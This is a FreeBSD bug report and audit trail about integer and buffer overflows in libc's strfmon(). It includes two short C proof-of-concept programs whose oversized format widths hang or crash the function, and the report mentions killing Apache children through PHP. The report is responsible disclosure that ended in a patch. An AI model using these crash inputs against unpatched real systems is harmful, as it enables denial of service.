From nobody@FreeBSD.org  Tue Mar 18 04:04:19 2008
Return-Path: <nobody@FreeBSD.org>
Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34])
	by hub.freebsd.org (Postfix) with ESMTP id BC993106566C
	for <freebsd-gnats-submit@FreeBSD.org>; Tue, 18 Mar 2008 04:04:19 +0000 (UTC)
	(envelope-from nobody@FreeBSD.org)
Received: from www.freebsd.org (www.freebsd.org [IPv6:2001:4f8:fff6::21])
	by mx1.freebsd.org (Postfix) with ESMTP id 997DA8FC12
	for <freebsd-gnats-submit@FreeBSD.org>; Tue, 18 Mar 2008 04:04:19 +0000 (UTC)
	(envelope-from nobody@FreeBSD.org)
Received: from www.freebsd.org (localhost [127.0.0.1])
	by www.freebsd.org (8.14.2/8.14.2) with ESMTP id m2I40pww067510
	for <freebsd-gnats-submit@FreeBSD.org>; Tue, 18 Mar 2008 04:00:51 GMT
	(envelope-from nobody@www.freebsd.org)
Received: (from nobody@localhost)
	by www.freebsd.org (8.14.2/8.14.1/Submit) id m2I40p6g067509;
	Tue, 18 Mar 2008 04:00:51 GMT
	(envelope-from nobody)
Message-Id: <200803180400.m2I40p6g067509@www.freebsd.org>
Date: Tue, 18 Mar 2008 04:00:51 GMT
From: Maksymilian Arciemowicz <cxib@securityreason.com>
To: freebsd-gnats-submit@FreeBSD.org
Subject: Buffer Overflow, Integer Overflow
X-Send-Pr-Version: www-3.1
X-GNATS-Notify:

>Number:         121818
>Category:       kern
>Synopsis:       [libc] Buffer Overflow, Integer Overflow
>Confidential:   no
>Severity:       critical
>Priority:       high
>Responsible:    secteam
>State:          closed
>Quarter:        
>Keywords:       
>Date-Required:  
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Tue Mar 18 04:10:03 UTC 2008
>Closed-Date:    Fri Mar 20 15:32:39 UTC 2009
>Last-Modified:  Fri Mar 20 15:32:39 UTC 2009
>Originator:     Maksymilian Arciemowicz
>Release:        FreeBSD cxib.laptop 7.0-RELEASE FreeBSD 7.0-RELEASE
>Organization:
SecurityReason.com
>Environment:
FreeBSD cxib.laptop 7.0-RELEASE FreeBSD 7.0-RELEASE #0: Sun Feb 24 19:59:52 UTC 2008     root@logan.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386

>Description:
The main problem exists in /usr/src/lib/libc/stdlib/strfmon.c function

Function GET_NUMBER() return wrong integer

#define GET_NUMBER(VAR)	do {					\
	VAR = 0;						\
	while (isdigit((unsigned char)*fmt)) {			\
		VAR *= 10;					\
		VAR += *fmt - '0';				\
		fmt++;						\
	}							\
} while (0)


So for example exploit:

---Integer Overflow---
#include <stdio.h>
#include <monetary.h>


main(){
	char buff[50];
	char *bux=buff;
	int res;
	
	res=strfmon(bux, 50, "%#99999999999999999999n", "-999.999");
}
---Integer Overflow---

This program will execute, long time. It is very dangerous, because a
lot of programs (like PHP), use this function. It is possible to kill
apache childs

Next example:
---Buffer Overflow---
#include <stdio.h>
#include <monetary.h>


main(){
	char buff[50];
	char *bux=buff;
	int res;
	
	res=strfmon(bux, 50, "%99999999999999999999n", "-999.999");
}
---Buffer Overflow---

Program received signal SIGSEGV, Segmentation fault.
0x2814e0e6 in memmove () from /lib/libc.so.7

We are waiting for fast answer, because in PHP 5.2.5 we use money_format()
function with strfmon() function.

Best Regards
Maksymilian Arciemowicz
SecurityReason

>How-To-Repeat:
Checks integers
>Fix:
we are waiting to answer.

>Release-Note:
>Audit-Trail:
Responsible-Changed-From-To: freebsd-i386->freebsd-bugs 
Responsible-Changed-By: vwe 
Responsible-Changed-When: Tue Mar 18 22:03:58 UTC 2008 
Responsible-Changed-Why:  

This is not i386 related but world, reassign to bugs. 

http://www.freebsd.org/cgi/query-pr.cgi?pr=121818 
Responsible-Changed-From-To: freebsd-bugs->secteam 
Responsible-Changed-By: das 
Responsible-Changed-When: Tue Mar 25 22:38:29 UTC 2008 
Responsible-Changed-Why:  
Reassign by request 

http://www.freebsd.org/cgi/query-pr.cgi?pr=121818 

From: Maxim Dounin <mdounin@mdounin.ru>
To: bug-followup@FreeBSD.org
Cc:  
Subject: Re: kern/121818: [libc] Buffer Overflow, Integer Overflow
Date: Sun, 20 Apr 2008 11:59:40 +0400

 Hello!
 
 This should be fixed in src/lib/libc/stdlib/strfmon.c revision 
 1.17.
 
 Maxim Dounin
State-Changed-From-To: open->patched 
State-Changed-By: ru 
State-Changed-When: Sun Apr 20 10:13:24 UTC 2008 
State-Changed-Why:  
A patch has been committed. 

http://www.freebsd.org/cgi/query-pr.cgi?pr=121818 

From: Gavin Atkinson <gavin@FreeBSD.org>
To: bug-followup@FreeBSD.org, cxib@securityreason.com
Cc:  
Subject: Re: kern/121818: [libc] Buffer Overflow, Integer Overflow
Date: Fri, 20 Mar 2009 14:08:05 +0000

 This has apparently been fixed in HEAD and was merged to 7.x and 6.x in
 April 2008, so I suspect it can be closed.
 
 [Not closing it myself due to ownership by secteam]
State-Changed-From-To: patched->closed 
State-Changed-By: remko 
State-Changed-When: Fri Mar 20 15:32:38 UTC 2009 
State-Changed-Why:  
This had been resolved, thanks for reporting this! 

http://www.freebsd.org/cgi/query-pr.cgi?pr=121818 
>Unformatted:
